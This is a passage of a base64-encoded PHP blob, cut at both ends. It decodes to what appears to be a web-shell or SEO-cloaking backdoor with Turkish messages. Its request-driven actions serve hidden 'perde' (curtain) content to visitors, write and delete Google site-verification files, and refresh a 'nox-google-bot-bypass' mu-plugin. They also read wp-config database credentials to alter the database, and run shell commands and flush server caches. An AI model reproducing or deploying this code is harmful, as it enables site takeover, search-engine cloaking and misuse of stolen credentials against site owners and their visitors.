9PWZhbHNlKXtlY2hvIkVSUjogYm96dWsgdmVyaSI7ZXhpdDt9CiAgaWYoc3RycG9zKCRiaW4sJzw/JykhPT1mYWxzZSl7ZWNobyJFUlI6IFBIUCBldGlrZXRpIGnDp2VyZW1leiI7ZXhpdDt9CiAgJG9rPUBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0LCRiaW4pO2VjaG8gJG9rIT09ZmFsc2U/J09LJzonRVJSJztleGl0Owp9CgovLyAtLS0tIEFjdGlvbjogdmlld3BlcmRlIC0tLS0KaWYoJGE9PT0idmlld3BlcmRlIil7CiAgJGZpbGVzPW5veF9maWxlX25hbWVzKG5veF9kZXRlY3RfY21zKCRESVIpKTsKICAkdGFyZ2V0PW5veF9jb250ZW50X3BhdGgoJERJUiwkZmlsZXNbJ2NvbnRlbnQnXSk7CiAgaWYoIWZpbGVfZXhpc3RzKCR0YXJnZXQpKXt3aGlsZShvYl9nZXRfbGV2ZWwoKT4wKW9iX2VuZF9jbGVhbigpO2h0dHBfcmVzcG9uc2VfY29kZSg0MDQpO2VjaG8iUGVyZGUgZG9zeWFzxLEgYnVsdW5hbWFkxLEuIjtleGl0O30KICB3aGlsZShvYl9nZXRfbGV2ZWwoKT4wKW9iX2VuZF9jbGVhbigpOwogIGhlYWRlcigiQ29udGVudC1UeXBlOnRleHQvaHRtbDtjaGFyc2V0PVVURi04Iik7CiAgaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgbWF4LWFnZT0wIik7CiAgaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7CiAgQHJlYWRmaWxlKCR0YXJnZXQpO2V4aXQ7Cn0KCi8vIC0tLS0gQWN0aW9uOiB3cml0ZWdvb2dsZSAtLS0tCmlmKCRhPT09IndyaXRlZ29vZ2xlIil7CiAgJG5hbWU9YjY0dXJsX2RlY29kZShpc3NldCgkX1BPU1RbImIiXSk/JF9QT1NUWyJiIl06KGlzc2V0KCRfR0VUWyJiIl0pPyRfR0VUWyJiIl06JycpKTsKICB3aGlsZShvYl9nZXRfbGV2ZWwoKT4wKW9iX2VuZF9jbGVhbigpOwogIGlmKCFzYWZlX25hbWUoJG5hbWUpfHwhaXNfZ29vZ2xlX2ZpbGUoJG5hbWUpKXtlY2hvIkZvcmJpZGRlbiI7ZXhpdDt9CiAgJGQ9aXNzZXQoJF9QT1NUWyJkIl0pPyRfUE9TVFsiZCJdOicnOyRiaW49QGhleDJiaW4oJGQpOwogIGlmKCRiaW49PT1mYWxzZSl7ZWNobyJFUlI6IGJvenVrIHZlcmkiO2V4aXQ7fQogIGlmKCFwcmVnX21hdGNoKCcvXmdvb2dsZS1zaXRlLXZlcmlmaWNhdGlvbjpccypbQS1aYS16MC05X1wtXC5dK1xzKiQvJyx0cmltKCRiaW4pKSl7ZWNobyJFUlI6IFlhbG7EsXpjYSAnZ29vZ2xlLXNpdGUtdmVyaWZpY2F0aW9uOiBUT0tFTicgZm9ybWF0xLEga2FidWwgZWRpbGlyIjtleGl0O30KICAkb2s9QGZpbGVfcHV0X2NvbnRlbnRzKCRESVIuRElSRUNUT1JZX1NFUEFSQVRPUi4kbmFtZSwkYmluKTtlY2hvICRvayE9PWZhbHNlPydPSyc6J0VSUic7ZXhpdDsKfQoKLy8gLS0tLSBBY3Rpb246IHJtZ29vZ2xlIC0tLS0KaWYoJGE9PT0icm1nb29nbGUiKXsKICAkbmFtZT1iNjR1cmxfZGVjb2RlKGlzc2V0KCRfR0VUWyJiIl0pPyRfR0VUWyJiIl06KGlzc2V0KCRfUE9TVFsiYiJdKT8kX1BPU1RbImIiXTonJykpOwogIHdoaWxlKG9iX2dldF9sZXZlbCgpPjApb2JfZW5kX2NsZWFuKCk7CiAgaWYoIXNhZmVfbmFtZSgkbmFtZSl8fCFpc19nb29nbGVfZmlsZSgkbmFtZSkpe2VjaG8iRm9yYmlkZGVuIjtleGl0O30KICBlY2hvIEB1bmxpbmsoJERJUi5ESVJFQ1RPUllfU0VQQVJBVE9SLiRuYW1lKT8nT0snOidFUlInO2V4aXQ7Cn0KCi8vIC0tLS0gQWN0aW9uOiBjbGVhcmNhY2hlIC0tLS0KaWYoJGE9PT0iY2xlYXJjYWNoZSIpewogIEBzZXRfdGltZV9saW1pdCgyMCk7QGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOwogICRHTE9CQUxTWydfY2NfZGVhZGxpbmUnXT1taWNyb3RpbWUodHJ1ZSkrOC4wOwogICRyZXM9W107JGNtcz1ub3hfZGV0ZWN0X2NtcygkRElSKTsKICAvLyBPUGNhY2hlCiAgaWYoZnVuY3Rpb25fZXhpc3RzKCdvcGNhY2hlX2dldF9zdGF0dXMnKSYmQG9wY2FjaGVfZ2V0X3N0YXR1cygpIT09ZmFsc2UpewogICAgJG9rPUBvcGNhY2hlX3Jlc2V0KCk7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ29wY2FjaGVfaW52YWxpZGF0ZScpKXsKICAgICAgZm9yZWFjaChbJERJUi4nL2luZGV4LnBocCcsJERJUi4nLy51c2VyLmluaSddIGFzICRfb2l0KXtpZihmaWxlX2V4aXN0cygkX29pdCkpQG9wY2FjaGVfaW52YWxpZGF0ZSgkX29pdCx0cnVlKTt9CiAgICAgIGlmKCRjbXM9PT0nd29yZHByZXNzJyl7CiAgICAgICAgZm9yZWFjaChbJERJUi4nL3dwLWJsb2ctaGVhZGVyLnBocCcsJERJUi4nL3dwLWNvbnRlbnQvbXUtcGx1Z2lucy9ub3gtZ29vZ2xlLWJvdC1ieXBhc3MucGhwJ10gYXMgJF9vaXQpe2lmKGZpbGVfZXhpc3RzKCRfb2l0KSlAb3BjYWNoZV9pbnZhbGlkYXRlKCRfb2l0LHRydWUpO30KICAgICAgfQogICAgfQogICAgJHJlc1snb3BjYWNoZSddPSRvaz9bJ3MnPT4nb2snLCdtJz0+J1PEsWbEsXJsYW5kxLEnXTpbJ3MnPT4nZXJyJywnbSc9PidTxLFmxLFybGFuYW1hZMSxJ107CiAgfWVsc2V7JHJlc1snb3BjYWNoZSddPVsncyc9PiduYScsJ20nPT4nQWt0aWYgZGXEn2lsJ107fQogIC8vIHN0YXQgY2FjaGUgKyByZWFscGF0aCBjYWNoZQogIEBjbGVhcnN0YXRjYWNoZSh0cnVlKTsKICAkcmVzWydzdGF0X2NhY2hlJ109WydzJz0+J29rJywnbSc9PidjbGVhcnN0YXRjYWNoZSh0cnVlKSDDp2HEn3LEsWxkxLEnXTsKICAvLyBQSFAtRlBNIHJlbG9hZAogIGlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsKICAgICRmcD10cmltKChzdHJpbmcpQHNoZWxsX2V4ZWMoJ2NhdCAvdmFyL3J1bi9waHAtZnBtLnBpZCAyPi9kZXYvbnVsbCcpKTsKICAgIGlmKCRmcCYmY3R5cGVfZGlnaXQoJGZwKSl7QHNoZWxsX2V4ZWMoImtpbGwgLVVTUjIgJGZwIDI+L2Rldi9udWxsIik7JHJlc1snZnBtX3JlbG9hZCddPVsncyc9PidvaycsJ20nPT4iUElEICRmcCDigJQgVVNSMiBnw7ZuZGVyaWxkaSJdO30KICAgIGVsc2V7JHJlc1snZnBtX3JlbG9hZCddPVsncyc9PiduYScsJ20nPT4nRlBNIHBpZCBidWx1bmFtYWTEsSddO30KICB9ZWxzZXskcmVzWydmcG1fcmVsb2FkJ109WydzJz0+J25hJywnbSc9PidzaGVsbF9leGVjIGRldnJlIGTEscWfxLEnXTt9CiAgLy8gQVBDCiAgaWYoZnVuY3Rpb25fZXhpc3RzKCdhcGNfY2xlYXJfY2FjaGUnKSl7QGFwY19jbGVhcl9jYWNoZSgpO0BhcGNfY2xlYXJfY2FjaGUoJ3VzZXInKTskcmVzWydhcGMnXT1bJ3MnPT4nb2snLCdtJz0+J1RlbWl6bGVuZGknXTt9CiAgZWxzZXskcmVzWydhcGMnXT1bJ3MnPT4nbmEnLCdtJz0+J1lvayddO30KICAvLyBNZW1jYWNoZQogIGlmKGNsYXNzX2V4aXN0cygnTWVtY2FjaGUnKSl7dHJ5eyRtYz1uZXcgTWVtY2FjaGUoKTskbWNPaz1mYWxzZTsKICAgIGZvcmVhY2goW1snMTI3LjAuMC4xJywxMTIxMV0sWydsb2NhbGhvc3QnLDExMjExXV0gYXMgJF9tY3ApeyRtaD0kX21jcFswXTskbXA9JF9tY3BbMV07aWYoQCRtYy0+Y29ubmVjdCgkbWgsJG1wKSl7JG1jLT5mbHVzaCgpOyRtYy0+Y2xvc2UoKTskbWNPaz10cnVlO2JyZWFrO319CiAgICAkcmVzWydtZW1jYWNoZSddPSRtY09rP1sncyc9PidvaycsJ20nPT4nVGVtaXpsZW5kaSddOlsncyc9PiduYScsJ20nPT4nQmHEn2xhbnTEsSBrdXJ1bGFtYWTEsSddOwogIH1jYXRjaChFeGNlcHRpb24gJGV4KXskcmVzWydtZW1jYWNoZSddPVsncyc9PidlcnInLCdtJz0+JGV4LT5nZXRNZXNzYWdlKCldO319CiAgZWxzZXskcmVzWydtZW1jYWNoZSddPVsncyc9PiduYScsJ20nPT4nRXh0ZW5zaW9uIHlvayddO30KICAvLyBNZW1jYWNoZWQKICBpZihjbGFzc19leGlzdHMoJ01lbWNhY2hlZCcpKXt0cnl7JG1jZD1uZXcgTWVtY2FjaGVkKCk7JG1jZC0+YWRkU2VydmVyKCcxMjcuMC4wLjEnLDExMjExKTsKICAgICRyZXNbJ21lbWNhY2hlZCddPSRtY2QtPmZsdXNoKCk/WydzJz0+J29rJywnbSc9PidUZW1pemxlbmRpJ106WydzJz0+J25hJywnbSc9PidCYcSfbGFudMSxIGJhxZ9hcsSxc8SxeiddOwogIH1jYXRjaChFeGNlcHRpb24gJGV4KXskcmVzWydtZW1jYWNoZWQnXT1bJ3MnPT4nZXJyJywnbSc9PiRleC0+Z2V0TWVzc2FnZSgpXTt9fQogIGVsc2V7JHJlc1snbWVtY2FjaGVkJ109WydzJz0+J25hJywnbSc9PidFeHRlbnNpb24geW9rJ107fQogIC8vIFJlZGlzCiAgaWYoY2xhc3NfZXhpc3RzKCdSZWRpcycpKXt0cnl7JHJlZGlzPW5ldyBSZWRpcygpOyRyZWRpc09rPWZhbHNlOwogICAgZm9yZWFjaChbNjM3OSw2MzgwXSBhcyAkcnApe2lmKEAkcmVkaXMtPmNvbm5lY3QoJzEyNy4wLjAuMScsJHJwLDIpKXskcmVkaXMtPmZsdXNoREIoKTskcmVkaXMtPmNsb3NlKCk7JHJlc1sncmVkaXMnXT1bJ3MnPT4nb2snLCdtJz0+IlRlbWl6bGVuZGkgKHBvcnQgJHJwKSJdOyRyZWRpc09rPXRydWU7YnJlYWs7fX0KICAgIGlmKCEkcmVkaXNPaykkcmVzWydyZWRpcyddPVsncyc9PiduYScsJ20nPT4nQmHEn2xhbnTEsSBrdXJ1bGFtYWTEsSddOwogIH1jYXRjaChFeGNlcHRpb24gJGV4KXskcmVzWydyZWRpcyddPVsncyc9PidlcnInLCdtJz0+JGV4LT5nZXRNZXNzYWdlKCldO319CiAgZWxzZXskcmVzWydyZWRpcyddPVsncyc9PiduYScsJ20nPT4nRXh0ZW5zaW9uIHlvayddO30KICAvLyBDTVMtc3Blc2lmaWsgZGlzayBjYWNoZQogIGlmKCRjbXM9PT0nam9vbWxhJyl7CiAgICBmb3JlYWNoKFsnam9vbWxhX2NhY2hlJz0+WyRESVIuJy9jYWNoZS8nLCdKb29tbGEgRnJvbnRlbmQgQ2FjaGUnXSwnam9vbWxhX2FkbWluJz0+WyRESVIuJy9hZG1pbmlzdHJhdG9yL2NhY2hlLycsJ0pvb21sYSBBZG1pbiBDYWNoZSddLCdqb29tbGFfdG1wJz0+WyRESVIuJy90bXAvJywnSm9vbWxhIFRtcCddXSBhcyAkaz0+JGQpewogICAgICBpZihpc19kaXIoJGRbMF0pKXskbj1fY2Nfcm1kaXIoJGRbMF0pOyRyZXNbJGtdPVsncyc9PidvaycsJ20nPT4kZFsxXS4iOiAkbiBkb3N5YSBzaWxpbmRpIl07fWVsc2V7JHJlc1ska109WydzJz0+J25hJywnbSc9PiRkWzFdLic6IGRpemluIHlvayddO30KICAgIH0KICB9ZWxzZWlmKCRjbXM9PT0nd29yZHByZXNzJyl7CiAgICAkX3dwRGlyPW5veF9maW5kX3dwX3BhdGgoJERJUik7CiAgICBpZighJF93cERpcil7JHJlc1snd3BfcGF0aCddPVsncyc9Pid3YXJuJywnbSc9PidXUCBkaXppbmkgdGVzcGl0IGVkaWxlbWVkaSddOyRfd3BEaXI9JERJUjt9CiAgICBlbHNleyRyZXNbJ3dwX3BhdGgnXT1bJ3MnPT4nb2snLCdtJz0+J1dQIGRpemluaTogJy4kX3dwRGlyXTt9CiAgICAvLyBXUCBkaXNrIGNhY2hlIGRpemlubGVyaQogICAgJHdwYz0kX3dwRGlyLicvd3AtY29udGVudC9jYWNoZSc7CiAgICBpZihpc19kaXIoJHdwYykpeyRjbj1fY2Nfcm1kaXIoJHdwYyk7JHJlc1snd3BfY2FjaGUnXT1bJ3MnPT4nb2snLCdtJz0+IiRjbiBkb3N5YSBzaWxpbmRpIl07fWVsc2V7JHJlc1snd3BfY2FjaGUnXT1bJ3MnPT4nbmEnLCdtJz0+J3dwLWNvbnRlbnQvY2FjaGUvIHlvayddO30KICAgIGZvcmVhY2goWydkaXJfdzN0Yyc9PlskX3dwRGlyLicvd3AtY29udGVudC93M3RjLWNhY2hlLycsJ1czIFRvdGFsIENhY2hlJ10sJ2Rpcl93cHJvY2tldCc9PlskX3dwRGlyLicvd3AtY29udGVudC93cC1yb2NrZXQtY2FjaGUvJywnV1AgUm9ja2V0J10sCiAgICAgICAgICAgICAnZGlyX2xpdGVzcGVlZCc9PlskX3dwRGlyLicvd3AtY29udGVudC9saXRlc3BlZWQvJywnTGl0ZVNwZWVkJ10sJ2Rpcl9hdXRvcHRpbWl6ZSc9PlskX3dwRGlyLicvd3AtY29udGVudC9jYWNoZS9hdXRvcHRpbWl6ZS8nLCdBdXRvcHRpbWl6ZSddLAogICAgICAgICAgICAgJ2Rpcl9lbmR1cmFuY2UnPT5bJF93cERpci4nL3dwLWNvbnRlbnQvZW5kdXJhbmNlLXBhZ2UtY2FjaGUvJywnRW5kdXJhbmNlJ10sJ2Rpcl93cGZhc3Rlc3QnPT5bJF93cERpci4nL3dwLWNvbnRlbnQvdXBsb2Fkcy93cC1mYXN0ZXN0LWNhY2hlLycsJ1dQIEZhc3Rlc3QgQ2FjaGUnXSwKICAgICAgICAgICAgICdkaXJfY29tZXQnPT5bJF93cERpci4nL3dwLWNvbnRlbnQvY2FjaGUvY29tZXQtY2FjaGUvJywnQ29tZXQgQ2FjaGUnXSwnZGlyX2VuYWJsZXInPT5bJF93cERpci4nL3dwLWNvbnRlbnQvY2FjaGUvY2FjaGUtZW5hYmxlci8nLCdDYWNoZSBFbmFibGVyJ10sCiAgICAgICAgICAgICAnZGlyX3N1cGVyY2FjaGUnPT5bJF93cERpci4nL3dwLWNvbnRlbnQvY2FjaGUvc3VwZXJjYWNoZS8nLCdXUCBTdXBlciBDYWNoZSddLCdkaXJfc2djYWNoZSc9PlskX3dwRGlyLicvd3AtY29udGVudC9jYWNoZS9zaXRlZ3JvdW5kLW9wdGltaXplci1hc3NldHMvJywnU0cgT3B0aW1pemVyJ11dIGFzICRrPT4kZCl7CiAgICAgIGlmKGlzX2RpcigkZFswXSkpeyRwbj1fY2Nfcm1kaXIoJGRbMF0pOyRyZXNbJGtdPVsncyc9PidvaycsJ20nPT4kZFsxXS4iOiAkcG4gZG9zeWEgc2lsaW5kaSJdO31lbHNleyRyZXNbJGtdPVsncyc9PiduYScsJ20nPT4kZFsxXS4nOiBkaXppbiB5b2snXTt9CiAgICB9CiAgICAvLyBXUCB0cmFuc2llbnQgKyByZXdyaXRlX3J1bGVzIOKAlCBkb8SfcnVkYW4gU1FMICh3cC1sb2FkLnBocCB5w7xrbGVubWV6KQogICAgJF93Y2ZnUGF0aD1ub3hfZmluZF93cGNvbmZpZygkX3dwRGlyKTsKICAgIGlmKCRfd2NmZ1BhdGgpewogICAgICAkX3djZmc9bm94X3BhcnNlX3dwY29uZmlnKCRfd2NmZ1BhdGgpOwogICAgICBpZighZW1wdHkoJF93Y2ZnWydjcmVkcyddWydEQl9OQU1FJ10pKXsKICAgICAgICAkX3dkYj1ub3hfZGJfY29ubmVjdCgkX3djZmdbJ2NyZWRzJ10pOwogICAgICAgIGlmKCRfd2RiKXsKICAgICAgICAgICRfd3BmeD0kX3djZmdbJ3ByZWZpeCddOwogICAgICAgICAgJF93dHI9QCRfd2RiLT5xdWVyeSgiREVMRVRFIEZST00gYHskX3dwZnh9b3B0aW9uc2AgV0hFUkUgb3B0aW9uX25hbWUgTElLRSAnXFxfdHJhbnNpZW50XFxfJScgT1Igb3B0aW9uX25hbWUgTElLRSAnXFxfc2l0ZVxcX3RyYW5zaWVudFxcXyUnIik7CiAgICAgICAgICAkX3d0ckRlbD0kX3d0ciE9PWZhbHNlPyRfd2RiLT5hZmZlY3RlZF9yb3dzOjA7CiAgICAgICAgICAkX3dkYi0+cXVlcnkoIkRFTEVURSBGUk9NIGB7JF93cGZ4fW9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdyZXdyaXRlX3J1bGVzJyIpOwogICAgICAgICAgJF93ZGItPmNsb3NlKCk7CiAgICAgICAgICAkcmVzWyd3cF9kYl9jYWNoZSddPVsncyc9PidvaycsJ20nPT4iJF93dHJEZWwgdHJhbnNpZW50ICsgcmV3cml0ZV9ydWxlcyBzaWxpbmRpIChTUUwpIl07CiAgICAgICAgfWVsc2V7JHJlc1snd3BfZGJfY2FjaGUnXT1bJ3MnPT4nbmEnLCdtJz0+J0RCIGJhxJ9sYW50xLEga3VydWxhbWFkxLEnXTt9CiAgICAgIH0KICAgIH1lbHNleyRyZXNbJ3dwX2RiX2NhY2hlJ109WydzJz0+J25hJywnbSc9Pid3cC1jb25maWcucGhwIGJ1bHVuYW1hZMSxJ107fQogICAgLy8gV1AgcGx1Z2luIEFQSSdsZXJpIOKAlCBzYWRlY2UgemF0ZW4gecO8a2zDvHlzZSDDp2FsxLHFn8SxciAod3AtbG9hZC5waHAgecO8a2xlbm1leikKICAgICRfd3Bmbj1bXTsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnd3BfY2FjaGVfZmx1c2gnKSl7QHdwX2NhY2hlX2ZsdXNoKCk7JF93cGZuW109J3dwX2NhY2hlX2ZsdXNoJzt9CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3JvY2tldF9jbGVhbl9kb21haW4nKSl7QHJvY2tldF9jbGVhbl9kb21haW4oKTskX3dwZm5bXT0nd3Bfcm9ja2V0Jzt9CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3czdGNfZmx1c2hfYWxsJykpe0B3M3RjX2ZsdXNoX2FsbCgpOyRfd3BmbltdPSd3M3RjJzt9CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3dwX2NhY2hlX2NsZWFyX2NhY2hlJykpe0B3cF9jYWNoZV9jbGVhcl9jYWNoZSgpOyRfd3BmbltdPSd3cF9zdXBlcl9jYWNoZSc7fQogICAgaWYoY2xhc3NfZXhpc3RzKCdXcEZhc3Rlc3RDYWNoZScpKXt0cnl7JF93cGZjPW5ldyBXcEZhc3Rlc3RDYWNoZSgpO0AkX3dwZmMtPmRlbGV0ZUNhY2hlKHRydWUpOyRfd3BmbltdPSd3cF9mYXN0ZXN0Jzt9Y2F0Y2goRXhjZXB0aW9uICRfZSl7fX0KICAgIGlmKGNsYXNzX2V4aXN0cygnYXV0b3B0aW1pemVDYWNoZScpKXt0cnl7QGF1dG9wdGltaXplQ2FjaGU6OmNsZWFyYWxsKCk7JF93cGZuW109J2F1dG9wdGltaXplJzt9Y2F0Y2goRXhjZXB0aW9uICRfZSl7fX0KICAgIGlmKGNsYXNzX2V4aXN0cygnQ2FjaGVfRW5hYmxlcicpKXt0cnl7QENhY2hlX0VuYWJsZXI6OmNsZWFyX3RvdGFsX2NhY2hlKCk7JF93cGZuW109J2NhY2hlX2VuYWJsZXInO31jYXRjaChFeGNlcHRpb24gJF9lKXt9fQogICAgaWYoY2xhc3NfZXhpc3RzKCdjb21ldF9jYWNoZScpKXt0cnl7QGNvbWV0X2NhY2hlOjpjbGVhcigpOyRfd3BmbltdPSdjb21ldCc7fWNhdGNoKEV4Y2VwdGlvbiAkX2Upe319CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3NnX2NhY2hlcHJlc3NfcHVyZ2VfY2FjaGUnKSl7QHNnX2NhY2hlcHJlc3NfcHVyZ2VfY2FjaGUoKTskX3dwZm5bXT0nc2dfb3B0aW1pemVyJzt9CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2RvX2FjdGlvbicpKXsKICAgICAgQGRvX2FjdGlvbignbGl0ZXNwZWVkX3B1cmdlX2FsbCcpO0Bkb19hY3Rpb24oJ2xpdGVzcGVlZF9wdXJnZV9vYmplY3QnKTtAZG9fYWN0aW9uKCd3cGhiX2NsZWFyX3BhZ2VfY2FjaGUnKTsKICAgICAgJF93cGZuW109J2hvb2tzKGxpdGVzcGVlZCtodW1taW5nYmlyZCknOwogICAgfQogICAgaWYoIWVtcHR5KCRfd3BmbikpJHJlc1snd3BfcGx1Z2luX3B1cmdlJ109WydzJz0+J29rJywnbSc9PmltcGxvZGUoJywgJywkX3dwZm4pXTsKICAgIC8vIFdQLUNMSSBMaXRlU3BlZWQgKHNoZWxsX2V4ZWMgbWV2Y3V0c2EpCiAgICAkX3dwQ2xpPScnO2ZvcmVhY2goWycvdXNyL2xvY2FsL2Jpbi93cCcsJy91c3IvYmluL3dwJywnL2Jpbi93cCddIGFzICRfd3Ape2lmKEBmaWxlX2V4aXN0cygkX3dwKSl7JF93cENsaT0kX3dwO2JyZWFrO319CiAgICBpZigkX3dwQ2xpJiZmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7JHdjb3V0PXRyaW0oKHN0cmluZylAc2hlbGxfZXhlYygiY2QgIi5lc2NhcGVzaGVsbGFyZygkX3dwRGlyKS4iICYmICRfd3BDbGkgbGl0ZXNwZWVkLXB1cmdlIGFsbCAtLWFsbG93LXJvb3QgMj4mMSIpKTskcmVzWydsaXRlc3BlZWRfd3BjbGknXT1bJ3MnPT4nb2snLCdtJz0+JHdjb3V0Pzonw4dhbMSxxZ90xLFyxLFsZMSxJ107fQogICAgZWxzZWlmKCEkX3dwQ2xpKXskcmVzWydsaXRlc3BlZWRfd3BjbGknXT1bJ3MnPT4nbmEnLCdtJz0+J1dQLUNMSSBidWx1bmFtYWTEsSddO30KICAgIGVsc2V7JHJlc1snbGl0ZXNwZWVkX3dwY2xpJ109WydzJz0+J25hJywnbSc9PidzaGVsbF9leGVjIGRldnJlIGTEscWfxLEnXTt9CiAgfWVsc2VpZigkY21zPT09J2xhcmF2ZWwnKXsKICAgICRfbHZSb290PWRpcm5hbWUoJERJUik7CiAgICAkYmNEaXI9JF9sdlJvb3QuJy9ib290c3RyYXAvY2FjaGUnOwogICAgaWYoaXNfZGlyKCRiY0RpcikpeyRiY0NudD0wO2ZvcmVhY2goKGFycmF5KUBnbG9iKCRiY0Rpci4nLyoucGhwJykgYXMgJF9iY2Ype2lmKEB1bmxpbmsoJF9iY2YpKSRiY0NudCsrO30kcmVzWydsYXJhdmVsX2Jvb3RzdHJhcCddPVsncyc9PidvaycsJ20nPT4iYm9vdHN0cmFwL2NhY2hlOiAkYmNDbnQgcGhwIHNpbGluZGkiXTt9CiAgICBlbHNleyRyZXNbJ2xhcmF2ZWxfYm9vdHN0cmFwJ109WydzJz0+J25hJywnbSc9Pidib290c3RyYXAvY2FjaGUgZGl6aW5pIHlvayddO30KICAgICRzZkRhdGE9JF9sdlJvb3QuJy9zdG9yYWdlL2ZyYW1ld29yay9jYWNoZS9kYXRhJzsKICAgIGlmKGlzX2Rpcigkc2ZEYXRhKSl7JHNmQ250PV9jY19ybWRpcigkc2ZEYXRhKTskcmVzWydsYXJhdmVsX3N0b3JhZ2VfY2FjaGUnXT1bJ3MnPT4nb2snLCdtJz0+InN0b3JhZ2UvZnJhbWV3b3JrL2NhY2hlL2RhdGE6ICRzZkNudCBkb3N5YSBzaWxpbmRpIl07fQogICAgZWxzZXskcmVzWydsYXJhdmVsX3N0b3JhZ2VfY2FjaGUnXT1bJ3MnPT4nbmEnLCdtJz0+J3N0b3JhZ2UvZnJhbWV3b3JrL2NhY2hlL2RhdGEgeW9rJ107fQogICAgJHNmVmlld3M9JF9sdlJvb3QuJy9zdG9yYWdlL2ZyYW1ld29yay92aWV3cyc7CiAgICBpZihpc19kaXIoJHNmVmlld3MpKXskdkNudD0wO2ZvcmVhY2goKGFycmF5KUBnbG9iKCRzZlZpZXdzLicvKi5waHAnKSBhcyAkX3ZmKXtpZihAdW5saW5rKCRfdmYpKSR2Q250Kys7fSRyZXNbJ2xhcmF2ZWxfdmlld3MnXT1bJ3MnPT4nb2snLCdtJz0+ImNvbXBpbGVkIHZpZXdzOiAkdkNudCBwaHAgc2lsaW5kaSJdO30KICAgIGVsc2V7JHJlc1snbGFyYXZlbF92aWV3cyddPVsncyc9PiduYScsJ20nPT4nc3RvcmFnZS9mcmFtZXdvcmsvdmlld3MgeW9rJ107fQogICAgJGFydGlzYW49JF9sdlJvb3QuJy9hcnRpc2FuJzsKICAgIGlmKGZpbGVfZXhpc3RzKCRhcnRpc2FuKSYmZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpeyRvdXQ9dHJpbSgoc3RyaW5nKUBzaGVsbF9leGVjKCdjZCAnLmVzY2FwZXNoZWxsYXJnKCRfbHZSb290KS4nICYmIHBocCBhcnRpc2FuIG9wdGltaXplOmNsZWFyIDI+JjEnKSk7JHJlc1snbGFyYXZlbF9hcnRpc2FuJ109WydzJz0+J29rJywnbSc9PiRvdXQ/OidvcHRpbWl6ZTpjbGVhciDDp2FsxLHFn3TEsXLEsWxkxLEnXTt9CiAgICBlbHNleyRyZXNbJ2xhcmF2ZWxfYXJ0aXNhbiddPVsncyc9PiduYScsJ20nPT4nYXJ0aXNhbiBidWx1bmFtYWTEsSB2ZXlhIHNoZWxsX2V4ZWMga2FwYWzEsSddO30KICB9ZWxzZXsKICAgIGZvcmVhY2goWydnZW5lcmljX2NhY2hlJz0+WyRESVIuJy9jYWNoZS8nLCdDYWNoZSddLCdnZW5lcmljX3RtcCc9PlskRElSLicvdG1wLycsJ1RtcCddXSBhcyAkaz0+JGQpewogICAgICBpZihpc19kaXIoJGRbMF0pKXskZ249X2NjX3JtZGlyKCRkWzBdKTskcmVzWyRrXT1bJ3MnPT4nb2snLCdtJz0+JGRbMV0uIjogJGduIGRvc3lhIHNpbGluZGkiXTt9ZWxzZXskcmVzWyRrXT1bJ3MnPT4nbmEnLCdtJz0+JGRbMV0uJzogZGl6aW4geW9rJ107fQogICAgfQogIH0KICAvLyBMaXRlU3BlZWQgc3VudWN1IHNldml5ZXNpIOKAlCBwbHVnaW4gb2xtYWRhbiDDp2FsxLHFn8SxciAoSG9zdGluZ2VyL3NoYXJlZCBob3N0J2xhcsSxbiDDp2/En3UgTFNXUykKICAkc3J2PXN0cnRvbG93ZXIoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKT8kX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ106JycpOwogIGlmKHN0cnBvcygkc3J2LCdsaXRlc3BlZWQnKSE9PWZhbHNlfHxzdHJwb3MoJHNydiwnbHN3cycpIT09ZmFsc2UpewogICAgaWYoIWhlYWRlcnNfc2VudCgpKXsKICAgICAgaGVhZGVyKCdYLUxpdGVTcGVlZC1QdXJnZTogKicsdHJ1ZSk7CiAgICAgICRyZXNbJ2xpdGVzcGVlZF9zZXJ2ZXInXT1bJ3MnPT4nb2snLCdtJz0+J1gtTGl0ZVNwZWVkLVB1cmdlOiAqIGfDtm5kZXJpbGRpIChzdW51Y3Ugc2V2aXllc2kpJ107CiAgICB9ZWxzZXskcmVzWydsaXRlc3BlZWRfc2VydmVyJ109WydzJz0+J25hJywnbSc9PidIZWFkZXIgemF0ZW4gZ8O2bmRlcmlsbWnFnyddO30KICAgIC8vIEhUVFAgUFVSR0UgbWV0aG9kIChMaXRlU3BlZWQgbmF0aXZlIOKAlCBMU0NXUCBwbHVnaW4gZ2VyZWt0aXJtZXopCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKXsKICAgICAgJHBTY2g9KCFlbXB0eSgkX1NFUlZFUlsnSFRUUFMnXSkmJiRfU0VSVkVSWydIVFRQUyddIT09J29mZicpPydodHRwcyc6J2h0dHAnOwogICAgICAkcFVybD0kcFNjaC4nOi8vJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJy8nOwogICAgICAkcENoPWN1cmxfaW5pdCgkcFVybCk7CiAgICAgIGN1cmxfc2V0b3B0X2FycmF5KCRwQ2gsW0NVUkxPUFRfQ1VTVE9NUkVRVUVTVD0+J1BVUkdFJyxDVVJMT1BUX0hUVFBIRUFERVI9PlsnWC1MaXRlU3BlZWQtUHVyZ2U6IConXSwKICAgICAgICBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSPT50cnVlLENVUkxPUFRfSEVBREVSPT50cnVlLENVUkxPUFRfTk9CT0RZPT50cnVlLAogICAgICAgIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQ9PjMsQ1VSTE9QVF9USU1FT1VUPT41LENVUkxPUFRfU1NMX1ZFUklGWVBFRVI9PnRydWUsQ1VST